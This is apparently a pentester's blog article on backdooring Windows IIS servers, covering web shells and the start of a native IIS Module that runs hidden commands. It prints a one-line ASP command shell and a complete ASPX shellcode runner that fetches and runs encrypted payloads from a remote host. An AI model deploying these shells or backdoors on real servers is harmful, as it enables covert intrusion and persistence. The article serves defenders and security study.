Intro
Hello everybody, My name is Michael Zhmailo and I am a penetration testing expert in the CICADA8 team.
On projects we encounter the instances of Internet Information Services (IIS) quite often. This is a very handy tool used as an app server. But did you know that simple IIS deployment could allow an attacker to leave a backdoor in the target environment?
In the article, I will show the way of persistence on a target system using legitimate Microsoft product being Internet Information Services. We’ll practice C++ programming, learn IIS Components and leave a backdoor via the IIS Module.
Let’s agree right away: I’m not telling you all this for you to go hack other people’s systems, but so that you know where hackers can leave a backdoor.
Forewarned is forearmed!
During active directory pentests, our team encountered the standard IIS splash very often. On one project, almost every computer had this app. That evening I asked myself: “What if you attach to the target system and setup persistence through IIS?”

Fortunately, Windows gives the developer freedom to act: want to expand the capabilities of any large Enterprise thing? We aim to please, here are a bunch of APIs just for you!
Prior to creating our Frankenstein monster, let’s remember the already known persistence methods on IIS.
Casino, Blackjack and Shells
For a long time, the most common way to persist (and in special cases, to get initial access) was web shells. However, due to their simplicity, low weight and great popularity, there are quite a lot of ways to detect their appearance on a web server.

Moreover, if we do not add minimal access control to a web shell, then anyone can use it. Not that cool, right?
Finally, let’s get to coding. Let’s take a standard web shell .aspx. Let’s upload it to C:\inetpub\wwwroot, set the rights via icacls, and launch.

I knew that the requirements for pentesters were high, but no one asked for knowledge of Elvish.
Certainly, there are slightly neater options.
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>Just like the slightly bulkier ones. For instance, an ASPX shellcode runner with payload loading from a remote server and subsequent AES decryption.
How do you like this, Elon Musk?
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Linq" %>
<script runat="server">
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[ System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
private byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
// Keep this in mind when you view your decrypted content as the size will likely be different.
aes.Padding = PaddingMode.Zeros;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}
private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
private byte[] GetArray(string url)
{
using (WebClient webClient = new WebClient())
{
string content = webClient.DownloadString(url);
byte[] byteArray = content.Split(',')
.Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))
.ToArray();
return byteArray;
}
}
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
protected void Page_Load(object sender, EventArgs e)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
return;
}
// Encrypted shellcode
byte[] Enc = GetArray("http://192.168.x.x/enc.txt");
// Key
byte[] Key = GetArray("http://192.168.x.x/key.txt");
// IV
byte[] Iv = GetArray("http://192.168.x.x/iv.txt");
// Decrypt our shellcode
byte[] e4qRS= Decrypt(Enc, Key, Iv);
// Allocate our memory buffer
IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy our decrypted shellcode ito the buffer
System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);
// Create a thread that contains our buffer
IntPtr aj5QpPE = IntPtr.Zero;
IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE);
}
</script>
<!DOCTYPE html>
<html>
<body>
<p>Check your listener...</p>
</body>
</html>There are even web shell generators. On top of all, a treat for connoisseurs being web.config overwriting is added. It would seem, take it and don’t think about it!
Not so fast! We want something like this: new, unusual and secretive enough that not every security trainee can chase you away from a compromised host.
And such a solution was found.
IIS Components
As I have already said, Microsoft allows expanding the embedded functionality of its products. Before version 7.0, IIS had ISAPI Extensions and ISAPI Filters. These features are still available, but have been replaced by IIS Handler and IIS Module, respectively.
IIS Handler allows processing the received request on IIS and create a response for different content types. For example, there is a handler in ASP.NET that allows processing ASPX pages (including our web shells).
IIS Module is also involved in processing. IIS grants it full and unrestricted access to all incoming and outgoing HTTP requests. I guess this is our candidate. The modules themselves can be divided into two types: Managed and Native. Managed are those written in C#, with Native written in C++. The list of installed modules can be seen through the standard IIS service control manager.

The process of persistence itself is similar to a web shell: if there is a call to a certain endpoint with particular parameters, then the command is executed on the system.
General Concept
I understand the way Windows functionality can be expanded. Everything is based on writing your own DLL library with the methods required. After its creation, all that remains is to register the library in IIS and use it to process specific events appearing on the server, for example, receipt of a new HTTP request.
In order for us to register our library with IIS, it has to export the RegisterModule() function with the following prototype:
HRESULT __stdcall RegisterModule(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer
)dwServerVersion specifies the version of the server on which the library is registered. IHttpModuleRegistratioInfo is the so-called interface. I shall note that an interface in OOP can be deemed a certain obligation of a class to implement certain methods. An excellent analysis can be found here.
Thus, by accessing the pModuleInfo variable (it will identify our module in IIS), we can retrieve the name of the current module using GetName(), get its ID via GetId(), but the most interesting thing (what we actually need) is to subscribe to the processing of certain events via SetRequestNotifications().
It is also possible to set prioritization, but we are not particularly interested in it. However, if you plan to write a highly loaded web shell…
Well, let’s get back to SetRequestNotifications().
virtual HRESULT SetRequestNotifications(
IN IHttpModuleFactory* pModuleFactory,
IN DWORD dwRequestNotifications,
IN DWORD dwPostRequestNotifications
) = 0;This is the so-called purely virtual function. Its logic shall be implemented in some class. In our case, we can call this function by accessing pModuleInfo. The function itself accepts the following arguments:
- pModuleFactory is an instance of a class that will implements the IHttpModuleFactory interface. That is, we just need to create a class, specify that it is inherited from the interface and implement the GetHttpModule and Terminate methods in this class
- dwRequestNotifications is a bitmask identifying all events that the IIS Module subscribes to. We are interested in RQ_SEND_RESPONSE and RQ_BEGIN_REQUEST. The entire list of possible events can be found here
- dwPostRequestNotifications is a bitmask identifying all so-called post-event events. This mask is useful for processing something that has already happened on IIS. We are not particularly interested in this value, so we set it to 0
In case of successful initialization, the RegisterModule() function shall turn back to S_OK.
A logical question arises: “Where shall we process events?” And before answering it, we need to understand all the classes and factories.
Classes and factories in IIS Programming
In the SetRequestNotification() function, we shall submit an instance of a class that implements the IHttpModuleFactory interface as the first parameter. The name of our class can be anything, the main thing is that it has an implementation of two methods: GetHttpModule() and Terminate().
For example, let’s call the class by name CHttpModuleFactory.
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator)
{
... logic code ...
}
void Terminate()
{
delete this;
}
};The GetHttpModule() method will be called every time IIS receives a request, the processing of which has been registered. Terminate() will be called at the end of request processing.
Within GetHttpModule(), our class shall create an instance of the CHttpModule class and return the address to the ppModule variable. It is the CHttpModule class that provides functionality for processing requests on IIS; its definition is set out in the standard httpserv.h header file.

If we take a look at the OutputDebugString() functions, we will understand that it is not enough to create an instance of a class, as we have to provide for an implementation of the method to process a specific event. We can override the code of an existing method with a child class, let’s call it CChildHttpModule.
In the class itself, for now, we will only write prototypes of the methods that we will override. But, in my opinion, it is a very good practice to insert the method code into the .h file as some LNK* error may occur.
class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};We will provide for a code to create an instance of the CChildHttpModule class inside GetHttpModule().
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}
void Terminate()
{
delete this;
}
};Summarizing, the actions just described implement a design pattern called a “factory” (hence all sorts of *Factory in interface names). This pattern allows creating an object (called a factory) to create other objects. And then, when calling the factory, the objects required will be created.
The entire work logic:
1. We register the module with IIS.
2. IIS calls RegisterModule().
3. We subscribe to the necessary events, send a reference to an instance of our factory via pModuleInfo->SetRequestNotifications().
4. Once a request appears, IIS will call the GetHttpModule() method of our factory.
5. A new instance of the CChildHttpModule() class is created.
6. The required method corresponding to the event will be called using this class instance. In our case, if you signed up for RQ_SEND_RESPONSE, then OnSendResponse() will be called.
7. Within the method, we process the web server response.
8. Getting back from the RQ_NOTIFICATION_CONTINUE method. This value indicates successful completion of the processing function.
9. IIS calls the Terminate() method.
Why should we process the response if we need a request?
It would be more logical to process the RQ_BEGIN_REQUEST event by calling the OnBeginRequest() method. But how do we get the output in this case? Certainly, we can code something on the sockets or leave blind command execution, but this is not really convenient. So I used RQ_SEND_RESPONSE. Moreover, we can access both the request and the response in the OnSendResponse() method through the pHttpContext argument, thanks to the IHttpContext interface.
The operating logic of our tool will be extremely simple: we parse the received request, detect the attacker’s desire to execute a command on the system, execute the command, add the command output to the IIS server response and this brings us to success!
Let’s go coding
So, we create an empty project for writing a dynamic binding library in Visual Studio. We don’t add anything to the DllMain function; we don’t need it. Let’s implement RegisterModule().
#include "pch.h"
#include <Windows.h>
#include <httpserv.h>
#include "classes.h"
CHttpModuleFactory* pFactory = NULL;
__declspec(dllexport) HRESULT __stdcall RegisterModule(
DWORD dwSrvVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer)
{
pFactory = new CHttpModuleFactory();
HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0);
return hr;
}In this code we declare a function exported from a DLL. Next, we create an instance of a new factory inside it, which will be used by IIS to create objects of the CChildHttpModule class.
0 Comments